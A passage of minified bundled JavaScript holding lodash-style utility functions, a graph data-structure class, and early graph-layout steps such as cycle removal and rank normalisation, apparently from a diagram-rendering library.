strict";die();Im();vm();kT();QOe=yc(function(t,e){return Vd(t)?fie(t,Ac(e,1,Vd,!0)):[]}),lf=QOe});function ZOe(t){var e=t==null?0:t.length;return e?t[e-1]:void 0}var ma,mie=N(()=>{"use strict";o(ZOe,"last");ma=ZOe});function JOe(t,e,r){var n=t==null?0:t.length;return n?(e=r||e===void 0?1:Ec(e),Rw(t,e<0?0:e,n)):[]}var yi,gie=N(()=>{"use strict";nR();_m();o(JOe,"drop");yi=JOe});function ePe(t,e,r){var n=t==null?0:t.length;return n?(e=r||e===void 0?1:Ec(e),e=n-e,Rw(t,0,e<0?0:e)):[]}var Bu,yie=N(()=>{"use strict";nR();_m();o(ePe,"dropRight");Bu=ePe});function tPe(t){return typeof t=="function"?t:Qi}var Gm,ik=N(()=>{"use strict";Ru();o(tPe,"castFunction");Gm=tPe});function rPe(t,e){var r=Bt(t)?ww:zs;return r(t,Gm(e))}var Ae,ak=N(()=>{"use strict";J9();sf();ik();Yn();o(rPe,"forEach");Ae=rPe});var vie=N(()=>{"use strict";ak()});function nPe(t,e){for(var r=-1,n=t==null?0:t.length;++r{"use strict";o(nPe,"arrayEvery");xie=nPe});function iPe(t,e){var r=!0;return zs(t,function(n,i,a){return r=!!e(n,i,a),r}),r}var Tie,wie=N(()=>{"use strict";sf();o(iPe,"baseEvery");Tie=iPe});function aPe(t,e,r){var n=Bt(t)?xie:Tie;return r&&lo(t,e,r)&&(e=void 0),n(t,vn(e,3))}var Pa,kie=N(()=>{"use strict";bie();wie();ss();Yn();qd();o(aPe,"every");Pa=aPe});function sPe(t,e){var r=[];return zs(t,function(n,i,a){e(n,i,a)&&r.push(n)}),r}var sk,kR=N(()=>{"use strict";sf();o(sPe,"baseFilter");sk=sPe});function oPe(t,e){var r=Bt(t)?Om:sk;return r(t,vn(e,3))}var Zr,ER=N(()=>{"use strict";Nw();kR();ss();Yn();o(oPe,"filter");Zr=oPe});function lPe(t){return function(e,r,n){var i=Object(e);if(!fi(e)){var a=vn(r,3);e=qr(e),r=o(function(l){return a(i[l],l,i)},"predicate")}var s=t(e,r,n);return s>-1?i[a?e[s]:s]:void 0}}var Eie,Sie=N(()=>{"use strict";ss();Po();Sc();o(lPe,"createFind");Eie=lPe});function uPe(t,e,r){var n=t==null?0:t.length;if(!n)return-1;var i=r==null?0:Ec(r);return i<0&&(i=cPe(n+i,0)),kw(t,vn(e,3),i)}var cPe,Cie,Aie=N(()=>{"use strict";eR();ss();_m();cPe=Math.max;o(uPe,"findIndex");Cie=uPe});var hPe,os,_ie=N(()=>{"use strict";Sie();Aie();hPe=Eie(Cie),os=hPe});function fPe(t){return t&&t.length?t[0]:void 0}var ea,Die=N(()=>{"use strict";o(fPe,"head");ea=fPe});var Lie=N(()=>{"use strict";Die()});function dPe(t,e){var r=-1,n=fi(t)?Array(t.length):[];return zs(t,function(i,a,s){n[++r]=e(i,a,s)}),n}var ok,SR=N(()=>{"use strict";sf();Po();o(dPe,"baseMap");ok=dPe});function pPe(t,e){var r=Bt(t)?$s:ok;return r(t,vn(e,3))}var rt,Vm=N(()=>{"use strict";rp();ss();SR();Yn();o(pPe,"map");rt=pPe});function mPe(t,e){return Ac(rt(t,e),1)}var ga,CR=N(()=>{"use strict";Im();Vm();o(mPe,"flatMap");ga=mPe});function gPe(t,e){return t==null?t:cm(t,Gm(e),Rs)}var AR,Rie=N(()=>{"use strict";pT();ik();qh();o(gPe,"forIn");AR=gPe});function yPe(t,e){return t&&zm(t,Gm(e))}var _R,Nie=N(()=>{"use strict";tk();ik();o(yPe,"forOwn");_R=yPe});var vPe,xPe,bPe,DR,Mie=N(()=>{"use strict";lm();lie();vPe=Object.prototype,xPe=vPe.hasOwnProperty,bPe=oie(function(t,e,r){xPe.call(t,r)?t[r].push(e):pc(t,r,[e])}),DR=bPe});function TPe(t,e){return t>e}var Iie,Oie=N(()=>{"use strict";o(TPe,"baseGt");Iie=TPe});function EPe(t,e){return t!=null&&kPe.call(t,e)}var wPe,kPe,Pie,Bie=N(()=>{"use strict";wPe=Object.prototype,kPe=wPe.hasOwnProperty;o(EPe,"baseHas");Pie=EPe});function SPe(t,e){return t!=null&&Zw(t,e,Pie)}var Ft,Fie=N(()=>{"use strict";Bie();xR();o(SPe,"has");Ft=SPe});function APe(t){return typeof t=="string"||!Bt(t)&&ai(t)&&ha(t)==CPe}var CPe,xi,lk=N(()=>{"use strict";_u();Yn();Oo();CPe="[object String]";o(APe,"isString");xi=APe});function _Pe(t,e){return $s(e,function(r){return t[r]})}var $ie,zie=N(()=>{"use strict";rp();o(_Pe,"baseValues");$ie=_Pe});function DPe(t){return t==null?[]:$ie(t,qr(t))}var kr,LR=N(()=>{"use strict";zie();Sc();o(DPe,"values");kr=DPe});function RPe(t,e,r,n){t=fi(t)?t:kr(t),r=r&&!n?Ec(r):0;var i=t.length;return r<0&&(r=LPe(i+r,0)),xi(t)?r<=i&&t.indexOf(e,r)>-1:!!i&&Dm(t,e,r)>-1}var LPe,jn,Gie=N(()=>{"use strict";Ew();Po();lk();_m();LR();LPe=Math.max;o(RPe,"includes");jn=RPe});function MPe(t,e,r){var n=t==null?0:t.length;if(!n)return-1;var i=r==null?0:Ec(r);return i<0&&(i=NPe(n+i,0)),Dm(t,e,i)}var NPe,ck,Vie=N(()=>{"use strict";Ew();_m();NPe=Math.max;o(MPe,"indexOf");ck=MPe});function FPe(t){if(t==null)return!0;if(fi(t)&&(Bt(t)||typeof t=="string"||typeof t.splice=="function"||Dl(t)||Uh(t)||_l(t)))return!t.length;var e=ho(t);if(e==IPe||e==OPe)return!t.size;if(mc(t))return!Lm(t).length;for(var r in t)if(BPe.call(t,r))return!1;return!0}var IPe,OPe,PPe,BPe,mr,uk=N(()=>{"use strict";Cw();ip();pm();Yn();Po();gm();dm();d2();IPe="[object Map]",OPe="[object Set]",PPe=Object.prototype,BPe=PPe.hasOwnProperty;o(FPe,"isEmpty");mr=FPe});function zPe(t){return ai(t)&&ha(t)==$Pe}var $Pe,Uie,Hie=N(()=>{"use strict";_u();Oo();$Pe="[object RegExp]";o(zPe,"baseIsRegExp");Uie=zPe});var qie,GPe,Uo,Wie=N(()=>{"use strict";Hie();Ud();f2();qie=Fo&&Fo.isRegExp,GPe=qie?Bo(qie):Uie,Uo=GPe});function VPe(t){return t===void 0}var xr,Yie=N(()=>{"use strict";o(VPe,"isUndefined");xr=VPe});function UPe(t,e){return t{"use strict";o(UPe,"baseLt");hk=UPe});function HPe(t,e){var r={};return e=vn(e,3),zm(t,function(n,i,a){pc(r,i,e(n,i,a))}),r}var ap,Xie=N(()=>{"use strict";lm();tk();ss();o(HPe,"mapValues");ap=HPe});function qPe(t,e,r){for(var n=-1,i=t.length;++n{"use strict";tp();o(qPe,"baseExtremum");Um=qPe});function WPe(t){return t&&t.length?Um(t,Qi,Iie):void 0}var Gs,jie=N(()=>{"use strict";fk();Oie();Ru();o(WPe,"max");Gs=WPe});function YPe(t){return t&&t.length?Um(t,Qi,hk):void 0}var Rl,NR=N(()=>{"use strict";fk();RR();Ru();o(YPe,"min");Rl=YPe});function XPe(t,e){return t&&t.length?Um(t,vn(e,2),hk):void 0}var sp,Kie=N(()=>{"use strict";fk();ss();RR();o(XPe,"minBy");sp=XPe});function KPe(t){if(typeof t!="function")throw new TypeError(jPe);return function(){var e=arguments;switch(e.length){case 0:return!t.call(this);case 1:return!t.call(this,e[0]);case 2:return!t.call(this,e[0],e[1]);case 3:return!t.call(this,e[0],e[1],e[2])}return!t.apply(this,e)}}var jPe,Qie,Zie=N(()=>{"use strict";jPe="Expected a function";o(KPe,"negate");Qie=KPe});function QPe(t,e,r,n){if(!Sn(t))return t;e=rf(e,t);for(var i=-1,a=e.length,s=a-1,l=t;l!=null&&++i{"use strict";ym();B2();m2();oo();Nm();o(QPe,"baseSet");Jie=QPe});function ZPe(t,e,r){for(var n=-1,i=e.length,a={};++n{"use strict";F2();eae();B2();o(ZPe,"basePickBy");dk=ZPe});function JPe(t,e){if(t==null)return{};var r=$s(Bw(t),function(n){return[n]});return e=vn(e),dk(t,r,function(n,i){return e(n,i[0])})}var Vs,tae=N(()=>{"use strict";rp();ss();MR();lR();o(JPe,"pickBy");Vs=JPe});function eBe(t,e){var r=t.length;for(t.sort(e);r--;)t[r]=t[r].value;return t}var rae,nae=N(()=>{"use strict";o(eBe,"baseSortBy");rae=eBe});function tBe(t,e){if(t!==e){var r=t!==void 0,n=t===null,i=t===t,a=uo(t),s=e!==void 0,l=e===null,u=e===e,h=uo(e);if(!l&&!h&&!a&&t>e||a&&s&&u&&!l&&!h||n&&s&&u||!r&&u||!i)return 1;if(!n&&!a&&!h&&t{"use strict";tp();o(tBe,"compareAscending");iae=tBe});function rBe(t,e,r){for(var n=-1,i=t.criteria,a=e.criteria,s=i.length,l=r.length;++n=l)return u;var h=r[n];return u*(h=="desc"?-1:1)}}return t.index-e.index}var sae,oae=N(()=>{"use strict";aae();o(rBe,"compareMultiple");sae=rBe});function nBe(t,e,r){e.length?e=$s(e,function(a){return Bt(a)?function(s){return nf(s,a.length===1?a[0]:a)}:a}):e=[Qi];var n=-1;e=$s(e,Bo(vn));var i=ok(t,function(a,s,l){var u=$s(e,function(h){return h(a)});return{criteria:u,index:++n,value:a}});return rae(i,function(a,s){return sae(a,s,r)})}var lae,cae=N(()=>{"use strict";rp();F2();ss();SR();nae();Ud();oae();Ru();Yn();o(nBe,"baseOrderBy");lae=nBe});var iBe,uae,hae=N(()=>{"use strict";TR();iBe=ek("length"),uae=iBe});function gBe(t){for(var e=fae.lastIndex=0;fae.test(t);)++e;return e}var dae,aBe,sBe,oBe,lBe,cBe,uBe,IR,OR,hBe,pae,mae,gae,fBe,yae,vae,dBe,pBe,mBe,fae,xae,bae=N(()=>{"use strict";dae="\\ud800-\\udfff",aBe="\\u0300-\\u036f",sBe="\\ufe20-\\ufe2f",oBe="\\u20d0-\\u20ff",lBe=aBe+sBe+oBe,cBe="\\ufe0e\\ufe0f",uBe="["+dae+"]",IR="["+lBe+"]",OR="\\ud83c[\\udffb-\\udfff]",hBe="(?:"+IR+"|"+OR+")",pae="[^"+dae+"]",mae="(?:\\ud83c[\\udde6-\\uddff]){2}",gae="[\\ud800-\\udbff][\\udc00-\\udfff]",fBe="\\u200d",yae=hBe+"?",vae="["+cBe+"]?",dBe="(?:"+fBe+"(?:"+[pae,mae,gae].join("|")+")"+vae+yae+")*",pBe=vae+yae+dBe,mBe="(?:"+[pae+IR+"?",IR,mae,gae,uBe].join("|")+")",fae=RegExp(OR+"(?="+OR+")|"+mBe+pBe,"g");o(gBe,"unicodeSize");xae=gBe});function yBe(t){return Rre(t)?xae(t):uae(t)}var Tae,wae=N(()=>{"use strict";hae();Nre();bae();o(yBe,"stringSize");Tae=yBe});function vBe(t,e){return dk(t,e,function(r,n){return Jw(t,n)})}var kae,Eae=N(()=>{"use strict";MR();bR();o(vBe,"basePick");kae=vBe});var xBe,op,Sae=N(()=>{"use strict";Eae();Lre();xBe=Dre(function(t,e){return t==null?{}:kae(t,e)}),op=xBe});function wBe(t,e,r,n){for(var i=-1,a=TBe(bBe((e-t)/(r||1)),0),s=Array(a);a--;)s[n?a:++i]=t,t+=r;return s}var bBe,TBe,Cae,Aae=N(()=>{"use strict";bBe=Math.ceil,TBe=Math.max;o(wBe,"baseRange");Cae=wBe});function kBe(t){return function(e,r,n){return n&&typeof n!="number"&&lo(e,r,n)&&(r=n=void 0),e=Am(e),r===void 0?(r=e,e=0):r=Am(r),n=n===void 0?e{"use strict";Aae();qd();Q9();o(kBe,"createRange");_ae=kBe});var EBe,Ho,Lae=N(()=>{"use strict";Dae();EBe=_ae(),Ho=EBe});function SBe(t,e,r,n,i){return i(t,function(a,s,l){r=n?(n=!1,a):e(r,a,s,l)}),r}var Rae,Nae=N(()=>{"use strict";o(SBe,"baseReduce");Rae=SBe});function CBe(t,e,r){var n=Bt(t)?Mre:Rae,i=arguments.length<3;return n(t,vn(e,4),r,i,zs)}var Jr,PR=N(()=>{"use strict";Ire();sf();ss();Nae();Yn();o(CBe,"reduce");Jr=CBe});function ABe(t,e){var r=Bt(t)?Om:sk;return r(t,Qie(vn(e,3)))}var cf,Mae=N(()=>{"use strict";Nw();kR();ss();Yn();Zie();o(ABe,"reject");cf=ABe});function LBe(t){if(t==null)return 0;if(fi(t))return xi(t)?Tae(t):t.length;var e=ho(t);return e==_Be||e==DBe?t.size:Lm(t).length}var _Be,DBe,BR,Iae=N(()=>{"use strict";Cw();ip();Po();lk();wae();_Be="[object Map]",DBe="[object Set]";o(LBe,"size");BR=LBe});function RBe(t,e){var r;return zs(t,function(n,i,a){return r=e(n,i,a),!r}),!!r}var Oae,Pae=N(()=>{"use strict";sf();o(RBe,"baseSome");Oae=RBe});function NBe(t,e,r){var n=Bt(t)?Hw:Oae;return r&&lo(t,e,r)&&(e=void 0),n(t,vn(e,3))}var z2,Bae=N(()=>{"use strict";dR();ss();Pae();Yn();qd();o(NBe,"some");z2=NBe});var MBe,Dc,Fae=N(()=>{"use strict";Im();cae();vm();qd();MBe=yc(function(t,e){if(t==null)return[];var r=e.length;return r>1&&lo(t,e[0],e[1])?e=[]:r>2&&lo(e[0],e[1],e[2])&&(e=[e[0]]),lae(t,Ac(e,1),[])}),Dc=MBe});var IBe,OBe,$ae,zae=N(()=>{"use strict";cR();Z9();Yw();IBe=1/0,OBe=af&&1/$m(new af([,-0]))[1]==IBe?function(t){return new af(t)}:si,$ae=OBe});function BBe(t,e,r){var n=-1,i=Sw,a=t.length,s=!0,l=[],u=l;if(r)s=!1,i=nk;else if(a>=PBe){var h=e?null:$ae(t);if(h)return $m(h);s=!1,i=Fm,u=new Bm}else u=e?[]:l;e:for(;++n{"use strict";Uw();tR();wR();qw();zae();Yw();PBe=200;o(BBe,"baseUniq");Hm=BBe});var FBe,FR,Gae=N(()=>{"use strict";Im();vm();pk();kT();FBe=yc(function(t){return Hm(Ac(t,1,Vd,!0))}),FR=FBe});function $Be(t){return t&&t.length?Hm(t):[]}var qm,Vae=N(()=>{"use strict";pk();o($Be,"uniq");qm=$Be});function zBe(t,e){return t&&t.length?Hm(t,vn(e,2)):[]}var Uae,Hae=N(()=>{"use strict";ss();pk();o(zBe,"uniqBy");Uae=zBe});function VBe(t){var e=++GBe;return _w(t)+e}var GBe,lp,qae=N(()=>{"use strict";rR();GBe=0;o(VBe,"uniqueId");lp=VBe});function UBe(t,e,r){for(var n=-1,i=t.length,a=e.length,s={};++n{"use strict";o(UBe,"baseZipObject");Wae=UBe});function HBe(t,e){return Wae(t||[],e||[],gc)}var mk,Xae=N(()=>{"use strict";ym();Yae();o(HBe,"zipObject");mk=HBe});var Yt=N(()=>{"use strict";vre();hR();wne();kne();NL();hie();pie();gie();yie();vie();kie();ER();_ie();Lie();CR();Lw();ak();Rie();Nie();Mie();Fie();Ru();Gie();Vie();Yn();uk();i2();oo();Wie();lk();Yie();Sc();mie();Vm();Xie();jie();OL();NR();Kie();Z9();cie();Sae();tae();Lae();PR();Mae();Iae();Bae();Fae();Gae();Vae();qae();LR();Xae();});function Kae(t,e){t[e]?t[e]++:t[e]=1}function Qae(t,e){--t[e]||delete t[e]}function G2(t,e,r,n){var i=""+e,a=""+r;if(!t&&i>a){var s=i;i=a,a=s}return i+jae+a+jae+(xr(n)?qBe:n)}function WBe(t,e,r,n){var i=""+e,a=""+r;if(!t&&i>a){var s=i;i=a,a=s}var l={v:i,w:a};return n&&(l.name=n),l}function $R(t,e){return G2(t,e.v,e.w,e.name)}var qBe,cp,jae,cn,gk=N(()=>{"use strict";Yt();qBe="\0",cp="\0",jae="",cn=class{static{o(this,"Graph")}constructor(e={}){this._isDirected=Object.prototype.hasOwnProperty.call(e,"directed")?e.directed:!0,this._isMultigraph=Object.prototype.hasOwnProperty.call(e,"multigraph")?e.multigraph:!1,this._isCompound=Object.prototype.hasOwnProperty.call(e,"compound")?e.compound:!1,this._label=void 0,this._defaultNodeLabelFn=Ns(void 0),this._defaultEdgeLabelFn=Ns(void 0),this._nodes={},this._isCompound&&(this._parent={},this._children={},this._children[cp]={}),this._in={},this._preds={},this._out={},this._sucs={},this._edgeObjs={},this._edgeLabels={}}isDirected(){return this._isDirected}isMultigraph(){return this._isMultigraph}isCompound(){return this._isCompound}setGraph(e){return this._label=e,this}graph(){return this._label}setDefaultNodeLabel(e){return Si(e)||(e=Ns(e)),this._defaultNodeLabelFn=e,this}nodeCount(){return this._nodeCount}nodes(){return qr(this._nodes)}sources(){var e=this;return Zr(this.nodes(),function(r){return mr(e._in[r])})}sinks(){var e=this;return Zr(this.nodes(),function(r){return mr(e._out[r])})}setNodes(e,r){var n=arguments,i=this;return Ae(e,function(a){n.length>1?i.setNode(a,r):i.setNode(a)}),this}setNode(e,r){return Object.prototype.hasOwnProperty.call(this._nodes,e)?(arguments.length>1&&(this._nodes[e]=r),this):(this._nodes[e]=arguments.length>1?r:this._defaultNodeLabelFn(e),this._isCompound&&(this._parent[e]=cp,this._children[e]={},this._children[cp][e]=!0),this._in[e]={},this._preds[e]={},this._out[e]={},this._sucs[e]={},++this._nodeCount,this)}node(e){return this._nodes[e]}hasNode(e){return Object.prototype.hasOwnProperty.call(this._nodes,e)}removeNode(e){if(Object.prototype.hasOwnProperty.call(this._nodes,e)){var r=o(n=>this.removeEdge(this._edgeObjs[n]),"removeEdge");delete this._nodes[e],this._isCompound&&(this._removeFromParentsChildList(e),delete this._parent[e],Ae(this.children(e),n=>{this.setParent(n)}),delete this._children[e]),Ae(qr(this._in[e]),r),delete this._in[e],delete this._preds[e],Ae(qr(this._out[e]),r),delete this._out[e],delete this._sucs[e],--this._nodeCount}return this}setParent(e,r){if(!this._isCompound)throw new Error("Cannot set parent in a non-compound graph");if(xr(r))r=cp;else{r+="";for(var n=r;!xr(n);n=this.parent(n))if(n===e)throw new Error("Setting "+r+" as parent of "+e+" would create a cycle");this.setNode(r)}return this.setNode(e),this._removeFromParentsChildList(e),this._parent[e]=r,this._children[r][e]=!0,this}_removeFromParentsChildList(e){delete this._children[this._parent[e]][e]}parent(e){if(this._isCompound){var r=this._parent[e];if(r!==cp)return r}}children(e){if(xr(e)&&(e=cp),this._isCompound){var r=this._children[e];if(r)return qr(r)}else{if(e===cp)return this.nodes();if(this.hasNode(e))return[]}}predecessors(e){var r=this._preds[e];if(r)return qr(r)}successors(e){var r=this._sucs[e];if(r)return qr(r)}neighbors(e){var r=this.predecessors(e);if(r)return FR(r,this.successors(e))}isLeaf(e){var r;return this.isDirected()?r=this.successors(e):r=this.neighbors(e),r.length===0}filterNodes(e){var r=new this.constructor({directed:this._isDirected,multigraph:this._isMultigraph,compound:this._isCompound});r.setGraph(this.graph());var n=this;Ae(this._nodes,function(s,l){e(l)&&r.setNode(l,s)}),Ae(this._edgeObjs,function(s){r.hasNode(s.v)&&r.hasNode(s.w)&&r.setEdge(s,n.edge(s))});var i={};function a(s){var l=n.parent(s);return l===void 0||r.hasNode(l)?(i[s]=l,l):l in i?i[l]:a(l)}return o(a,"findParent"),this._isCompound&&Ae(r.nodes(),function(s){r.setParent(s,a(s))}),r}setDefaultEdgeLabel(e){return Si(e)||(e=Ns(e)),this._defaultEdgeLabelFn=e,this}edgeCount(){return this._edgeCount}edges(){return kr(this._edgeObjs)}setPath(e,r){var n=this,i=arguments;return Jr(e,function(a,s){return i.length>1?n.setEdge(a,s,r):n.setEdge(a,s),s}),this}setEdge(){var e,r,n,i,a=!1,s=arguments[0];typeof s=="object"&&s!==null&&"v"in s?(e=s.v,r=s.w,n=s.name,arguments.length===2&&(i=arguments[1],a=!0)):(e=s,r=arguments[1],n=arguments[3],arguments.length>2&&(i=arguments[2],a=!0)),e=""+e,r=""+r,xr(n)||(n=""+n);var l=G2(this._isDirected,e,r,n);if(Object.prototype.hasOwnProperty.call(this._edgeLabels,l))return a&&(this._edgeLabels[l]=i),this;if(!xr(n)&&!this._isMultigraph)throw new Error("Cannot set a named edge when isMultigraph = false");this.setNode(e),this.setNode(r),this._edgeLabels[l]=a?i:this._defaultEdgeLabelFn(e,r,n);var u=WBe(this._isDirected,e,r,n);return e=u.v,r=u.w,Object.freeze(u),this._edgeObjs[l]=u,Kae(this._preds[r],e),Kae(this._sucs[e],r),this._in[r][l]=u,this._out[e][l]=u,this._edgeCount++,this}edge(e,r,n){var i=arguments.length===1?$R(this._isDirected,arguments[0]):G2(this._isDirected,e,r,n);return this._edgeLabels[i]}hasEdge(e,r,n){var i=arguments.length===1?$R(this._isDirected,arguments[0]):G2(this._isDirected,e,r,n);return Object.prototype.hasOwnProperty.call(this._edgeLabels,i)}removeEdge(e,r,n){var i=arguments.length===1?$R(this._isDirected,arguments[0]):G2(this._isDirected,e,r,n),a=this._edgeObjs[i];return a&&(e=a.v,r=a.w,delete this._edgeLabels[i],delete this._edgeObjs[i],Qae(this._preds[r],e),Qae(this._sucs[e],r),delete this._in[r][i],delete this._out[e][i],this._edgeCount--),this}inEdges(e,r){var n=this._in[e];if(n){var i=kr(n);return r?Zr(i,function(a){return a.v===r}):i}}outEdges(e,r){var n=this._out[e];if(n){var i=kr(n);return r?Zr(i,function(a){return a.w===r}):i}}nodeEdges(e,r){var n=this.inEdges(e,r);if(n)return n.concat(this.outEdges(e,r))}};cn.prototype._nodeCount=0;cn.prototype._edgeCount=0;o(Kae,"incrementOrInitEntry");o(Qae,"decrementOrRemoveEntry");o(G2,"edgeArgsToId");o(WBe,"edgeArgsToObj");o($R,"edgeObjToId")});var qo=N(()=>{"use strict";gk()});function Zae(t){t._prev._next=t._next,t._next._prev=t._prev,delete t._next,delete t._prev}function YBe(t,e){if(t!=="_next"&&t!=="_prev")return e}var vk,Jae=N(()=>{"use strict";vk=class{static{o(this,"List")}constructor(){var e={};e._next=e._prev=e,this._sentinel=e}dequeue(){var e=this._sentinel,r=e._prev;if(r!==e)return Zae(r),r}enqueue(e){var r=this._sentinel;e._prev&&e._next&&Zae(e),e._next=r._next,r._next._prev=e,r._next=e,e._prev=r}toString(){for(var e=[],r=this._sentinel,n=r._prev;n!==r;)e.push(JSON.stringify(n,YBe)),n=n._prev;return"["+e.join(", ")+"]"}};o(Zae,"unlink");o(YBe,"filterOutLinks")});function ese(t,e){if(t.nodeCount()<=1)return[];var r=KBe(t,e||XBe),n=jBe(r.graph,r.buckets,r.zeroIdx);return Qr(rt(n,function(i){return t.outEdges(i.v,i.w)}))}function jBe(t,e,r){for(var n=[],i=e[e.length-1],a=e[0],s;t.nodeCount();){for(;s=a.dequeue();)zR(t,e,r,s);for(;s=i.dequeue();)zR(t,e,r,s);if(t.nodeCount()){for(var l=e.length-2;l>0;--l)if(s=e[l].dequeue(),s){n=n.concat(zR(t,e,r,s,!0));break}}}return n}function zR(t,e,r,n,i){var a=i?[]:void 0;return Ae(t.inEdges(n.v),function(s){var l=t.edge(s),u=t.node(s.v);i&&a.push({v:s.v,w:s.w}),u.out-=l,GR(e,r,u)}),Ae(t.outEdges(n.v),function(s){var l=t.edge(s),u=s.w,h=t.node(u);h.in-=l,GR(e,r,h)}),t.removeNode(n.v),a}function KBe(t,e){var r=new cn,n=0,i=0;Ae(t.nodes(),function(l){r.setNode(l,{v:l,in:0,out:0})}),Ae(t.edges(),function(l){var u=r.edge(l.v,l.w)||0,h=e(l),f=u+h;r.setEdge(l.v,l.w,f),i=Math.max(i,r.node(l.v).out+=h),n=Math.max(n,r.node(l.w).in+=h)});var a=Ho(i+n+3).map(function(){return new vk}),s=n+1;return Ae(r.nodes(),function(l){GR(a,s,r.node(l))}),{graph:r,buckets:a,zeroIdx:s}}function GR(t,e,r){r.out?r.in?t[r.out-r.in+e].enqueue(r):t[t.length-1].enqueue(r):t[0].enqueue(r)}var XBe,tse=N(()=>{"use strict";Yt();qo();Jae();XBe=Ns(1);o(ese,"greedyFAS");o(jBe,"doGreedyFAS");o(zR,"removeNode");o(KBe,"buildState");o(GR,"assignBucket")});function rse(t){var e=t.graph().acyclicer==="greedy"?ese(t,r(t)):QBe(t);Ae(e,function(n){var i=t.edge(n);t.removeEdge(n),i.forwardName=n.name,i.reversed=!0,t.setEdge(n.w,n.v,i,lp("rev"))});function r(n){return function(i){return n.edge(i).weight}}o(r,"weightFn")}function QBe(t){var e=[],r={},n={};function i(a){Object.prototype.hasOwnProperty.call(n,a)||(n[a]=!0,r[a]=!0,Ae(t.outEdges(a),function(s){Object.prototype.hasOwnProperty.call(r,s.w)?e.push(s):i(s.w)}),delete r[a])}return o(i,"dfs"),Ae(t.nodes(),i),e}function nse(t){Ae(t.edges(),function(e){var r=t.edge(e);if(r.reversed){t.removeEdge(e);var n=r.forwardName;delete r.reversed,delete r.forwardName,t.setEdge(e.w,e.v,r,n)}})}var VR=N(()=>{"use strict";Yt();tse();o(rse,"run");o(QBe,"dfsFAS");o(nse,"undo")});function Lc(t,e,r,n){var i;do i=lp(n);while(t.hasNode(i));return r.dummy=e,t.setNode(i,r),i}function ase(t){var e=new cn().setGraph(t.graph());return Ae(t.nodes(),function(r){e.setNode(r,t.node(r))}),Ae(t.edges(),function(r){var n=e.edge(r.v,r.w)||{weight:0,minlen:1},i=t.edge(r);e.setEdge(r.v,r.w,{weight:n.weight+i.weight,minlen:Math.max(n.minlen,i.minlen)})}),e}function xk(t){var e=new cn({multigraph:t.isMultigraph()}).setGraph(t.graph());return Ae(t.nodes(),function(r){t.children(r).length||e.setNode(r,t.node(r))}),Ae(t.edges(),function(r){e.setEdge(r,t.edge(r))}),e}function UR(t,e){var r=t.x,n=t.y,i=e.x-r,a=e.y-n,s=t.width/2,l=t.height/2;if(!i&&!a)throw new Error("Not possible to find intersection inside of the rectangle");var u,h;return Math.abs(a)*s>Math.abs(i)*l?(a<0&&(l=-l),u=l*i/a,h=l):(i<0&&(s=-s),u=s,h=s*a/i),{x:r+u,y:n+h}}function uf(t){var e=rt(Ho(qR(t)+1),function(){return[]});return Ae(t.nodes(),function(r){var n=t.node(r),i=n.rank;xr(i)||(e[i][n.order]=r)}),e}function sse(t){var e=Rl(rt(t.nodes(),function(r){return t.node(r).rank}));Ae(t.nodes(),function(r){var n=t.node(r);Ft(n,"rank")&&(n.rank-=e)})}function ose(t){var e=Rl(rt(t.nodes(),function(a){return t.node(a).rank})),r=[];Ae(t.nodes(),function(a){var s=t.node(a).rank-e;r[s]||(r[s]=[]),r[s].push(a)});var n=0,i=t.graph().nodeRankFactor;Ae(r,function(a,s){xr(a)&&s%i!==0?--n:n&&Ae(a,function(l){t.node(l).rank+=n})})}function HR(t,e,r,n){var i={width:0,height:0};return arguments.length>=4&&(i.rank=r,i.order=n),Lc(t,"border",i,e)}function qR(t){return Gs(rt(t.nodes(),function(e){var r=t.node(e).rank;if(!xr(r))return r}))}function lse(t,e){var r={lhs:[],rhs:[]};return Ae(t,function(n){e(n)?r.lhs.push(n):r.rhs.push(n)}),r}function cse(t,e){var r=rk();try{return e()}finally{console.log(t+" time: "+(rk()-r)+"ms")}}function use(t,e){return e()}var Rc=N(()=>{"use strict";Yt();qo();o(Lc,"addDummyNode");o(ase,"simplify");o(xk,"asNonCompoundGraph");o(UR,"intersectRect");o(uf,"buildLayerMatrix");o(sse,"normalizeRanks");o(ose,"removeEmptyRanks");o(HR,"addBorderNode");o(qR,"maxRank");o(lse,"partition");o(cse,"time");o(use,"notime")});function fse(t){function e(r){var n=t.children(r),i=t.node(r);if(n.length&&Ae(n,e),Object.prototype.hasOwnProperty.call(i,"minRank")){i.borderLeft=[],i.borderRight=[];for(var a=i.minRank,s=i.maxRank+1;a{"use strict";Yt();Rc();o(fse,"addBorderSegments");o(hse,"addBorderNode")});function mse(t){var e=t.graph().rankdir.toLowerCase();(e==="lr"||e==="rl")&&yse(t)}function gse(t){var e=t.graph().rankdir.toLowerCase();(e==="bt"||e==="rl")&&ZBe(t),(e==="lr"||e==="rl")&&(JBe(t),yse(t))}function yse(t){Ae(t.nodes(),function(e){pse(t.node(e))}),Ae(t.edges(),function(e){pse(t.edge(e))})}function pse(t){var e=t.width;t.width=t.height,t.height=e}function ZBe(t){Ae(t.nodes(),function(e){WR(t.node(e))}),Ae(t.edges(),function(e){var r=t.edge(e);Ae(r.points,WR),Object.prototype.hasOwnProperty.call(r,"y")&&WR(r)})}function WR(t){t.y=-t.y}function JBe(t){Ae(t.nodes(),function(e){YR(t.node(e))}),Ae(t.edges(),function(e){var r=t.edge(e);Ae(r.points,YR),Object.prototype.hasOwnProperty.call(r,"x")&&YR(r)})}function YR(t){var e=t.x;t.x=t.y,t.y=e}var vse=N(()=>{"use strict";Yt();o(mse,"adjust");o(gse,"undo");o(yse,"swapWidthHeight");o(pse,"swapWidthHeightOne");o(ZBe,"reverseY");o(WR,"reverseYOne");o(JBe,"swapXY");o(YR,"swapXYOne")});function xse(t){t.graph().dummyChains=[],Ae(t.edges(),function(e){tFe(t,e)})}function tFe(t,e){var r=e.v,n=t.node(r).rank,i=e.w,a=t.node(i).rank,s=e.name,l=t.edge(e),u=l.labelRank;if(a!==n+1){t.removeEdge(e);var h=void 0,f,d;for(d=0,++n;n{"use strict";Yt();Rc();o(xse,"run");o(tFe,"normalizeEdge");o(bse,"undo")});function V2(t){var e={};function r(n){var i=t.node(n);if(Object.prototype.hasOwnProperty.call(e,n))return i.rank;e[n]=!0;var a=Rl(rt(t.outEdges(n),function(s){return r(s.w)-t.edge(s).minlen}));return(a===Number.POSITIVE_INFINITY||a===void 0||a===null)&&(a=0),i.rank=a}o(r,"dfs"),Ae(t.sources(),r)}function up(t,e){return t.node(e.w).rank-t.node(e.v).rank-t.edge(e).minlen}var bk=N(()=>{"use strict";Yt();o(V2,"longestPath");o(up,"slack")});function Tk(t){var e=new 